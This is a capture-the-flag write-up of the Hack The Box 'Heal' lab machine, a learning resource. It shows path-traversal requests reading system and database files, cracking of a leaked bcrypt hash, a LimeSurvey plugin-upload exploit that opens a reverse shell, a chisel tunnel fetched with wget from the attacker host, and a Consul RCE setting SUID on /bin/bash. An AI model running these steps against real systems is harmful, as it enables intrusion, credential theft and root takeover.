Hack The Box Heal Writeup (Medium Linux)
Medium Linux box. An LFI in the Rails API leaks a SQLite database, ralph's hash cracks, LimeSurvey 6.6.4 gives RCE, and a local Consul API hands over root.
Summary
Heal is a medium Linux machine that starts with a Ruby on Rails API exposing an authenticated file download endpoint vulnerable to local file inclusion. Reading the nginx configuration through it points at the application root, and path traversal to config/database.yml names a SQLite development database, which the same endpoint happily serves. Dumping that database yields ralph’s bcrypt hash, cracked with hashcat to 147258369, and the same password logs into the LimeSurvey instance on the take-survey virtual host. That build is LimeSurvey Community Edition 6.6.4, vulnerable to CVE-2021-44967, and a public plugin upload exploit drops a PHP reverse shell that lands as www-data. From there a HashiCorp Consul agent listening only on localhost is reached through a chisel reverse SOCKS proxy, and a Consul RCE exploit sets the SUID bit on /bin/bash for a root shell.
Enumeration
Web Server
Found LFI vulnerability at authenticated GET request to api.heal.htb/download:
The request looks like this:
1
2
3
4
5
6
7
8
9
10
11
GET /download?filename=/etc/passwd HTTP/1.1
Host: api.heal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ
Origin: http://heal.htb
DNT: 1
Connection: keep-alive
Referer: http://heal.htb/
Obtained nginx configuration file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 768;
# multi_accept on;
}
http {
##
# Basic Settings
##
sendfile on;
tcp_nopush on;
types_hash_max_size 2048;
# server_tokens off;
# server_names_hash_bucket_size 64;
# server_name_in_redirect off;
include /etc/nginx/mime.types;
default_type application/octet-stream;
##
# SSL Settings
##
ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
ssl_prefer_server_ciphers on;
##
# Logging Settings
##
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
##
# Gzip Settings
##
gzip on;
# gzip_vary on;
# gzip_proxied any;
# gzip_comp_level 6;
# gzip_buffers 16 8k;
# gzip_http_version 1.1;
# gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
##
# Virtual Host Configs
##
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}
#mail {
# # See sample authentication script at:
# # http://wiki.nginx.org/ImapAuthenticateWithApachePhpScript
#
# # auth_http localhost/auth.php;
# # pop3_capabilities "TOP" "USER";
# # imap_capabilities "IMAP4rev1" "UIDPLUS";
#
# server {
# listen localhost:110;
# protocol pop3;
# proxy on;
# }
#
# server {
# listen localhost:143;
# protocol imap;
# proxy on;
# }
#}
That points to:
1
2
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
So the tester can get heal.htb (/etc/nginx/sites-enabled/heal.htb):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#limit_req_zone $binary_remote_addr zone=heallimit:10m rate=10r/s;
server {
listen 80;
server_name heal.htb;
# Redirect users accessing the site via the server's IP address
if ($host != heal.htb) {
rewrite ^ http://heal.htb/;
}
# Proxy requests to the Flask server
location / {
limit_req zone=mylimit burst=20;
proxy_pass http://127.0.0.1:3000;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
# Default server block for IP-based access
server {
listen 80 default_server;
server_name _;
# Redirect all IP-based requests to clouded.htb
return 301 http://heal.htb/;
}
And /etc/nginx/sites-enabled/heal.htb:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
limit_req_zone $binary_remote_addr zone=mylimit:10m rate=10r/s;
server {
listen 80;
server_name api.heal.htb;
# Proxy requests to the Flask server
location / {
limit_req zone=mylimit burst=20;
proxy_pass http://127.0.0.1:3001;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
For some reason they say that it’s a flask application, but when we access the website, a splash page for ruby on rails is presented:
The tester, searching the internet for common vulnerabilities in Rails, found a OWASP Ruby on Rails cheatsheet. In the cheatsheet, they describe a few sensitive files worth looking:
The tester, knowing that the current directory must be where the application is located, tried path traversal to access the database configuration file:
Request:
1
2
3
4
5
6
7
8
9
10
11
GET /download?filename=../../config/database.yml HTTP/1.1
Host: api.heal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ
Origin: http://heal.htb
DNT: 1
Connection: keep-alive
Referer: http://heal.htb/
Response:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# SQLite. Versions 3.8.0 and up are supported.
# gem install sqlite3
#
# Ensure the SQLite 3 gem is defined in your Gemfile
# gem "sqlite3"
#
default: &default
adapter: sqlite3
pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
timeout: 5000
development:
<<: *default
database: storage/development.sqlite3
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
<<: *default
database: storage/test.sqlite3
production:
<<: *default
database: storage/development.sqlite3
The configuration file mentions a storage/development.sqlite3 file.
With that, the tester could locate and download the development database:
1
2
3
4
5
6
$ curl -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' http://api.heal.htb/download?filename=../../storage/development.sqlite3 -o development.sqlite3
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 32768 100 32768 0 0 143k 0 --:--:-- --:--:-- --:--:-- 143k
user@attackbox:~/hacking/htb/machines/medium/heal$ file development.sqlite3
development.sqlite3: SQLite 3.x database, last written using SQLite version 3045002, writer version 2, read version 2, file counter 2, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 2
Accessing the database and dumping all its contents, the tester found credentials for the user “ralph”:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ sqlite3 development.sqlite3
SQLite version 3.40.1 2022-12-28 14:03:47
Enter ".help" for usage hints.
sqlite> .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE IF NOT EXISTS "token_blacklists" ("id" integer PRIMARY KEY AUTOINCREMENT NOT NULL, "token" varchar, "created_at" datetime(6) NOT NULL, "updated_at" datetime(6) NOT NULL);
CREATE TABLE IF NOT EXISTS "users" ("id" integer PRIMARY KEY AUTOINCREMENT NOT NULL, "email" varchar, "password_digest" varchar, "created_at" datetime(6) NOT NULL, "updated_at" datetime(6) NOT NULL, "fullname" varchar, "username" varchar, "is_admin" boolean);
INSERT INTO users VALUES(1,'ralph@heal.htb','$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG','2024-09-27 07:49:31.614858','2024-09-27 07:49:31.614858','Administrator','ralph',1);
INSERT INTO users VALUES(2,'tester@tester.com','$2a$12$Kbygq8HpdsDDfJL3mNiuWOXMzoI2BnihymMTSO1TRbDAVQIZo8ojC','2025-03-16 16:25:23.848376','2025-03-16 16:25:23.848376','tester','tester',0);
CREATE TABLE IF NOT EXISTS "schema_migrations" ("version" varchar NOT NULL PRIMARY KEY);
INSERT INTO schema_migrations VALUES('20240702133115');
INSERT INTO schema_migrations VALUES('20240702131229');
INSERT INTO schema_migrations VALUES('20240702053125');
INSERT INTO schema_migrations VALUES('20240702032524');
INSERT INTO schema_migrations VALUES('20240701161836');
CREATE TABLE IF NOT EXISTS "ar_internal_metadata" ("key" varchar NOT NULL PRIMARY KEY, "value" varchar, "created_at" datetime(6) NOT NULL, "updated_at" datetime(6) NOT NULL);
INSERT INTO ar_internal_metadata VALUES('environment','development','2024-09-27 07:49:07.266676','2024-09-27 07:49:07.266679');
INSERT INTO ar_internal_metadata VALUES('schema_sha1','86dacdae5e53daf6a99cc195f85ec397dbaa71b5','2024-09-27 07:49:07.269048','2024-09-27 07:49:07.269049');
DELETE FROM sqlite_sequence;
INSERT INTO sqlite_sequence VALUES('users',2);
COMMIT;
sqlite>
The tester saved the password hash and cracked it with hashcat:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ hashcat ralph.hash /usr/share/wordlists/rockyou.txt -m 3200
<SNIP>
$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG:147258369
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9S...GCSZnG
Time.Started.....: Sun Mar 16 17:31:18 2025 (28 secs)
Time.Estimated...: Sun Mar 16 17:31:46 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 18 H/s (6.52ms) @ Accel:4 Loops:32 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 496/14344384 (0.00%)
Rejected.........: 0/496 (0.00%)
Restore.Point....: 480/14344384 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4064-4096
Candidate.Engine.: Device Generator
Candidates.#1....: teiubesc -> kelsey
Started: Sun Mar 16 17:30:31 2025
Stopped: Sun Mar 16 17:31:48 2025
Initial Access
It’s not possible to log in to the machine via SSH using the credentials for ralph, and there’s nothing really interesting when you log in to ralph’s account on the CV generator application.
However, there’s a “survey” button:
The tester clicked on it, and was redirected to http://take-survey.heal.htb/:
The tester did run Gobuster to enumerate for valid directories, and found /admin:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ gobuster dir -u http://take-survey.heal.htb/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://take-survey.heal.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists-master/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2025/03/17 11:07:42 Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 162]
/.htaccess (Status: 403) [Size: 162]
/.htpasswd (Status: 403) [Size: 162]
/Admin (Status: 302) [Size: 0] [--> http://take-survey.heal.htb/index.php/admin/authentication/sa/login]
Accessing the endpoint, the tester was presented with a log in form:
The tester could log in as “ralph” using the previously cracked password:
1
ralph:147258369
Reaching the end of the page, the tester could locate the software version:
Searching google for this particular version (LimeSurvey Community Edition Version 6.6.4), the tester discovered there is a public vulnerability (CVE-2021-44967) and PoCs available for this particular version. The tester downloaded this github repository to their local machine:
1
2
3
4
5
6
7
$ git clone --depth 1 https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE.git
Cloning into 'Limesurvey-6.6.4-RCE'...
remote: Enumerating objects: 10, done.
remote: Counting objects: 100% (10/10), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 10 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (10/10), 102.93 KiB | 569.00 KiB/s, done.
Then, the tester proceeded to install the requirements:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ python3 -m venv .venv
user@attackbox:~/hacking/htb/machines/medium/heal/Limesurvey-6.6.4-RCE$ source .venv/bin/activate
(.venv) user@attackbox:~/hacking/htb/machines/medium/heal/Limesurvey-6.6.4-RCE$ pip install -r requirements.txt
Collecting requests
Using cached requests-2.32.3-py3-none-any.whl (64 kB)
Collecting pyfiglet
Using cached pyfiglet-1.0.2-py3-none-any.whl (1.1 MB)
Collecting beautifulsoup4
Using cached beautifulsoup4-4.13.3-py3-none-any.whl (186 kB)
Collecting colorama
Using cached colorama-0.4.6-py2.py3-none-any.whl (25 kB)
Collecting charset-normalizer<4,>=2
Using cached charset_normalizer-3.4.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (143 kB)
Collecting idna<4,>=2.5
Using cached idna-3.10-py3-none-any.whl (70 kB)
Collecting urllib3<3,>=1.21.1
Using cached urllib3-2.3.0-py3-none-any.whl (128 kB)
Collecting certifi>=2017.4.17
Using cached certifi-2025.1.31-py3-none-any.whl (166 kB)
Collecting soupsieve>1.2
Using cached soupsieve-2.6-py3-none-any.whl (36 kB)
Collecting typing-extensions>=4.0.0
Using cached typing_extensions-4.12.2-py3-none-any.whl (37 kB)
Installing collected packages: urllib3, typing-extensions, soupsieve, pyfiglet, idna, colorama, charset-normalizer, certifi, requests, beautifulsoup4
Successfully installed beautifulsoup4-4.13.3 certifi-2025.1.31 charset-normalizer-3.4.1 colorama-0.4.6 idna-3.10 pyfiglet-1.0.2 requests-2.32.3 soupsieve-2.6 typing-extensions-4.12.2 urllib3-2.3.0
The tester edited the revshell.php payload to make it point to the correct IP address (tester’s tun0 ipv4 address):
The tester did set up a netcat listener to handle the connection:
1
2
$ nc -lvnp 1234
listening on [any] 1234 ...
Then, the tester created the zip archive with the config.xml and revshell.php and executed the exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ zip -r N4s1rl1.zip config.xml revshell.php
updating: config.xml (deflated 59%)
updating: revshell.php (deflated 68%)
(.venv) user@attackbox:~/hacking/htb/machines/medium/heal/Limesurvey-6.6.4-RCE$ python3 exploit.py http://take-survey.heal.htb ralph 147258369 80
_ _ _ _ ____ _ ____ _ _
| \ | | || |/ ___|/ | _ \| | / |
| \| | || |\___ \| | |_) | | | |
| |\ |__ _|__) | | _ <| |___| |
|_| \_| |_||____/|_|_| \_\_____|_|
[INFO] Retrieving CSRF token for login...
[SUCCESS] CSRF Token Retrieved: ZjBQWTl-VkI1TnNLWjRHOURkVnl3VjI0QWZuM3JLV1V0B_T0V-WkhqWOrsJxpyJHwzNIeC6sZPA9D5EMiXpdKg==
[INFO] Sending Login Request...
[SUCCESS] Login Successful!
[INFO] Uploading Plugin...
[SUCCESS] Plugin Uploaded Successfully!
[INFO] Installing Plugin...
[SUCCESS] Plugin Installed Successfully!
[INFO] Activating Plugin...
[SUCCESS] Plugin Activated Successfully!
[INFO] Triggering Reverse Shell...
Instantly, the connection was received:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.11.46] 35914
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
11:22:08 up 19:23, 0 users, load average: 0.06, 0.03, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.11.46 netmask 255.255.254.0 broadcast 10.10.11.255
inet6 fe80::250:56ff:fe94:e404 prefixlen 64 scopeid 0x20<link>
inet6 dead:beef::250:56ff:fe94:e404 prefixlen 64 scopeid 0x0<global>
ether 00:50:56:94:e4:04 txqueuelen 1000 (Ethernet)
RX packets 54977 bytes 8302445 (8.3 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 71157 bytes 27110761 (27.1 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 532328 bytes 59587512 (59.5 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 532328 bytes 59587512 (59.5 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Privilege Escalation
Listing for open ports, the tester noticed unusual ports open:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ss -tulpn
Netid State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
udp UNCONN 0 0 127.0.0.1:8600 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:5353 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:57038 0.0.0.0:*
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
udp UNCONN 0 0 127.0.0.1:8301 0.0.0.0:*
udp UNCONN 0 0 127.0.0.1:8302 0.0.0.0:*
udp UNCONN 0 0 [::]:5353 [::]:*
udp UNCONN 0 0 [::]:46555 [::]:*
tcp LISTEN 0 244 127.0.0.1:5432 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=1054,fd=6),("nginx",pid=1053,fd=6))
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8503 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8500 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8600 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8302 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8300 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8301 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 511 127.0.0.1:3000 0.0.0.0:*
tcp LISTEN 0 1024 127.0.0.1:3001 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
bash-5.1$
The tester did transfer “chisel” to the victim machine using updog:
1
2
3
4
5
6
7
$ updog
[+] Serving /home/user/hacking/tools/chisel...
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on all addresses (0.0.0.0)
* Running on http://127.0.0.1:9090
* Running on http://10.137.0.20:9090
Press CTRL+C to quit
And on the victim machine:
1
2
3
4
5
6
7
8
9
10
$ wget 10.10.14.10:9090/chisel
--2025-03-17 13:51:10-- http://10.10.14.10:9090/chisel
Connecting to 10.10.14.10:9090... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9371800 (8.9M) [text/plain]
Saving to: ‘chisel’
chisel 100%[===================>] 8.94M 6.56MB/s in 1.4s
2025-03-17 13:51:12 (6.56 MB/s) - ‘chisel’ saved [9371800/9371800]
After that, the tester, on their local machine, did set up chisel server, that creates a reverse socks5 proxy:
1
2
3
4
$ ./chisel server --port 1337 --socks5 --reverse
2025/03/17 13:52:52 server: Reverse tunnelling enabled
2025/03/17 13:52:52 server: Fingerprint xhAdnes27aLBfQOtfOjQAaGRkCp1wZTEX1Z/Fzy78NA=
2025/03/17 13:52:52 server: Listening on http://0.0.0.0:1337
And on the victim machine, they started the client:
1
2
$ nohup ./chisel client 10.10.14.10:1337 R:socks &
[2] 62455
In the server, the tester received the connection:
1
2
3
4
5
$ ./chisel server --port 1337 --socks5 --reverse
2025/03/17 13:52:52 server: Reverse tunnelling enabled
2025/03/17 13:52:52 server: Fingerprint xhAdnes27aLBfQOtfOjQAaGRkCp1wZTEX1Z/Fzy78NA=
2025/03/17 13:52:52 server: Listening on http://0.0.0.0:1337
2025/03/17 13:59:47 server: session#3: tun: proxy#R:127.0.0.1:1080=>socks: Listening
Then the tester edited /etc/proxychains.conf to use the chisel socks5 proxy:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# proxychains.conf VER 3.1
#
# HTTP, SOCKS4, SOCKS5 tunneling proxifier with DNS.
#
# The option below identifies how the ProxyList is treated.
# only one option should be uncommented at time,
# otherwise the last appearing option will be accepted
#
#dynamic_chain
#
# Dynamic - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# at least one proxy must be online to play in chain
# (dead proxies are skipped)
# otherwise EINTR is returned to the app
#
strict_chain
#
# Strict - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# all proxies must be online to play in chain
# otherwise EINTR is returned to the app
#
#random_chain
#
# Random - Each connection will be done via random proxy
# (or proxy chain, see chain_len) from the list.
# this option is good to test your IDS :)
# Make sense only if random_chain
#chain_len = 2
# Quiet mode (no output from library)
#quiet_mode
# Proxy DNS requests - no leak for DNS data
#proxy_dns
# Some timeouts in milliseconds
tcp_read_time_out 15000
tcp_connect_time_out 8000
# ProxyList format
# type host port [user pass]
# (values separated by 'tab' or 'blank')
#
#
# Examples:
#
# socks5 192.168.67.78 1080 lamer secret
# http 192.168.89.3 8080 justu hidden
# socks4 192.168.1.49 1080
# http 192.168.39.93 8080
#
#
# proxy types: http, socks4, socks5
# ( auth types supported: "basic"-http "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4 127.0.0.1 9050
socks5 127.0.0.1 1080
The tester then used proxychains to access the website:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$ proxychains chromium
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
[22873:22873:0317/152633.183513:ERROR:viz_main_impl.cc(183)] Exiting GPU process due to errors during initialization
[proxychains] Strict chain ... 127.0.0.1:1080 ... 40.114.177.156:443 [22930:22930:0317/152633.457424:ERROR:viz_main_impl.cc(183)] Exiting GPU process due to errors during initialization
[22911:8:0317/152633.528157:ERROR:command_buffer_proxy_impl.cc(125)] ContextResult::kTransientFailure: Failed to send GpuControl.CreateCommandBuffer.
<--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1080 ... 142.251.168.84:443 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:8500 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 216.58.204.138:443 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.217.168.10:443 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.217.168.42:443 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.217.168.74:443 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1080 ... 142.250.203.106:443 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:8500 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:8500 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:8500 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:8500 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:8500 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 142.250.186.67:443 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1080 ... 142.251.168.84:443 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1080 ... 142.250.186.67:80 <--socket error or timeout!
The tester used the information to search google for public vulnerabilities, and found an exploit that explores a remote code execution vulnerability. The tester downloaded the exploit to their local machine:
1
2
3
4
5
6
7
$ git clone https://github.com/owalid/consul-rce.git
Cloning into 'consul-rce'...
remote: Enumerating objects: 7, done.
remote: Counting objects: 100% (7/7), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 7 (delta 0), reused 4 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (7/7), done.
Then the tester executed the exploit, adding a SUID bit to /bin/bash in order to escalate privileges:
1
2
3
4
5
6
7
8
$ proxychains python3 consul_rce.py -th 127.0.0.1 -tp 8500 -c 'chmod +s /bin/bash'
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:8500 ... OK
[+] Check zahqizpozsfhdrt created successfully
[proxychains] Strict chain ... 127.0.0.1:1080 ... 127.0.0.1:8500 ... OK
[+] Check zahqizpozsfhdrt deregistered successfully
In this example, the tester checked the permissions for /bin/bash before and then after the execution of the exploit:
1
2
3
4
bash-5.1$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
bash-5.1$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14 2024 /bin/bash
After verifying the permissions have changed and the exploit has worked, the tester could escalate privileges to root:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
bash-5.1$ /bin/bash -p
bash-5.1# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
bash-5.1# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.11.46 netmask 255.255.254.0 broadcast 10.10.11.255
inet6 fe80::250:56ff:fe94:e404 prefixlen 64 scopeid 0x20<link>
inet6 dead:beef::250:56ff:fe94:e404 prefixlen 64 scopeid 0x0<global>
ether 00:50:56:94:e4:04 txqueuelen 1000 (Ethernet)
RX packets 92613 bytes 26404956 (26.4 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 107391 bytes 42131454 (42.1 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 647266 bytes 80884331 (80.8 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 647266 bytes 80884331 (80.8 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
bash-5.1#








